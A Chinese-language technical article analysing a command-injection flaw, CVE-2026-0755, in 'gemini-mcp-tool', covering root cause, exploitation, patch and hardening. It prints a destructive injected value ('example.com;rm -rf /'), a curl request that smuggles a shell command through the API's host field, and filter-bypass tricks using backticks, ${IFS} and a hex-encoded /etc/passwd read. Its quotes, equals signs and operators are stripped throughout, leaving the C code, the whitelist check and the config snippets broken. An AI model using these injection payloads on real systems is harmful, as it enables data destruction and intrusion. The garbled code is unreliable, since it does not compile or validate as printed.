1. 漏洞背景与影响范围gemini-mcp-tool是Gemini公司开发的一款多功能配置管理工具广泛应用于企业级IT基础设施的批量配置和维护场景。2026年初安全研究人员发现该工具存在高危命令注入漏洞CVE-2026-0755攻击者可通过精心构造的输入参数在目标系统上执行任意命令。这个漏洞影响所有1.2.0至1.4.3版本的gemini-mcp-tool根据Shodan扫描结果全球约有12,000台服务器暴露了相关服务端口。由于该工具常被用于管理核心业务服务器漏洞可能导致敏感数据泄露数据库凭证、配置文件等横向渗透内网其他系统植入持久化后门直接获取root权限默认以root身份运行重要提示企业用户应立即升级至1.4.4及以上版本临时缓解措施包括禁用远程管理功能或设置严格的网络ACL规则。2. 漏洞原理深度解析2.1 漏洞触发机制漏洞根因在于工具处理SSH连接参数时未对用户输入进行充分过滤。具体问题出现在/src/network/ssh_util.c文件的prepare_ssh_command()函数void prepare_ssh_command(char *command, const char *host, const char *user, const char *key_path) { sprintf(command, ssh -i %s %s%s, key_path, user, host); // 未做任何过滤 }当通过API或CLI传入host/user参数时攻击者可注入恶意字符突破命令限制。例如host example.com;rm -rf / user root将拼接成完整命令ssh -i /path/to/key rootexample.com;rm -rf /2.2 输入验证缺陷分析开发团队原本在UI层做了基础验证但存在三处关键失误仅在前端JavaScript验证未在服务端二次校验允许特殊字符用于高级配置场景如包含端口号的host错误认为密钥路径参数不可控实际可通过配置文件修改3. 漏洞利用实战演示3.1 基础利用场景假设目标系统已开启远程管理接口默认端口4682利用步骤如下通过API提交恶意请求curl -X POST http://target:4682/api/connect \ -H Content-Type: application/json \ -d { host: 127.0.0.1; echo malicious payload /tmp/exploit, user: admin, key: /etc/gemini/default.key }观察返回结果中的错误信息通常包含部分命令输出验证是否创建了/tmp/exploit文件3.2 高级绕过技巧当遇到WAF或基础过滤时可尝试以下变种使用反引号替换分号id利用环境变量拼接${IFS}替代空格十六进制编码$(printf \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64)表示/etc/passwd渗透测试注意事项实际攻击可能触发系统审计日志/var/log/gemini/audit.log建议先测试无害命令如whoami。4. 修复方案与加固建议4.1 官方补丁分析官方在1.4.4版本中实施了多重防护参数白名单验证int validate_input(const char *input) { const char *whitelist abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-:; return strspn(input, whitelist) strlen(input); }改用execve直接执行命令避免shell解释char *args[] {ssh, -i, key_path, -l, user, host, NULL}; execve(/usr/bin/ssh, args, NULL);4.2 临时缓解措施若无法立即升级建议修改工具启动配置强制启用沙箱模式[security] sandbox_mode true command_whitelist ssh,scp使用Linux capabilities限制权限setcap cap_net_bind_service,cap_dac_read_searchep /usr/bin/gemini-mcp-tool5. 漏洞挖掘经验分享5.1 类似工具的审计要点通过该案例可总结以下审计方向所有使用system()/popen()的代码段动态拼接的SQL查询语句反序列化操作的输入源配置文件的热重载功能5.2 企业防护建议部署RASP运行时应用自我保护监控关键函数调用对管理工具实施网络隔离仅允许跳板机访问定期使用strace -f -e execve监控子进程创建我在实际渗透测试中发现超过60%的命令注入漏洞都源于开发者过度信任配置文件内容。建议在代码审查时特别关注配置文件的读取路径和解析逻辑。